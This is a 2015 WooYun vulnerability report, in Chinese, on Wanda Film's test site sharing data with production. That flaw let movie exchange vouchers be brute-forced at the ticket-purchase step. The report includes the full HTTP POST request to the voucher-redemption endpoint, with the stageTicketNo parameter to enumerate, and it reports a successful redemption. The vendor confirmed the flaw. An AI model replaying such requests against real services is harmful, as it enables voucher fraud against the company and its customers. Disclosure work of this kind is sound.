当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106823

漏洞标题：万达电影某测试接口与生产未隔离导致可爆破出电影兑换券

相关厂商：大连万达集团股份有限公司

漏洞作者： Mr.leo

提交时间：2015-04-10 10:45

修复时间：2015-05-25 13:20

公开时间：2015-05-25 13:20

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-10： 细节已通知厂商并且等待厂商处理中
2015-04-10： 厂商已经确认，细节仅向厂商公开
2015-04-20： 细节向核心白帽子及相关领域专家公开
2015-04-30： 细节向普通白帽子公开
2015-05-10： 细节向实习白帽子公开
2015-05-25： 细节向公众公开

简要描述：

万达电影某测试接口与生产未隔离导致可爆破出电影兑换券

详细说明：

http://wwwdemo.wandafilm.com 万达测试主站
之前已经提过在（http://wooyun.org/bugs/wooyun-2015-0106596）这个案例提过该测试主站的数据是同步的，故问题归结于测试站点和生产站点未做隔离导致相应的漏洞升级。
问题出现在购票的第三步，可以使用使用影票兑换及优惠处

1.png


此时抓取数据包，对stageTicketNo兑换券参数进行爆破

POST http://wwwdemo.wandafilm.com/trade/coupons.do?m=useExachangeStage&sid=0.14484114106744528 HTTP/1.1
Host: wwwdemo.wandafilm.com
Proxy-Connection: keep-alive
Content-Length: 109
Accept: */*
Origin: http://wwwdemo.wandafilm.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://wwwdemo.wandafilm.com/trade/step3.do?m=buyPay&snid=20150409141110216411&spk=20150408112111862006&sid=0.27838509250432253
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: wandafilm2015-04-09=/wandafilmappHd18651669495/http%3A%2F%2Fwwwdemo.wandafilm.com%2Ftrade%2Fmovie_times.jsp%3FfilmId%3D2015011302182029265318651669495/http%3A%2F%2Fwwwdemo.wandafilm.com%2Ftrade%2Fstep2.do%3Fm%3DmovieBuy%26spk%3D20150408112111862006%26avtId%3D%26price%3D6018651669495/http%3A%2F%2Fwwwdemo.wandafilm.com%2Ftrade%2Fstep3.do%3Fm%3DbuyPay%26snid%3D20150409141110216411%26spk%3D2015040811211186200618651669495; jsessionid|JSESSIONID=******1ba76ad7ef*****; __utma=8139.1428050786.1428050786.1428550560.2; __utmc=81395784; __utmz=81395784.1428050786.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=********92A30CAA0; wandafilm2015-04-09=/wandafilmappHd18651669495; Hm_lvt_12e233684b48dc67054644eaa9e278fc=1428372551,1428456490,1428477542,1428548995; Hm_lpvt_12e233684b48dc67054644eaa9e278fc=1428559876
stageTicketNo=103575197********&orderId=20150409141110216411&orderDetailId=20150409141110220411&seatId=8_16


2.png


通过返回值来判断是否可以使用

3.png


兑换成功

4.png

漏洞证明：

已经证明

修复方案：

隔离测试和生产系统数据

版权声明：转载请注明来源 Mr.leo@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-04-10 13:19

厂商回复：

感谢同学的关注与贡献！马上通知业务整改！

最新状态：

暂无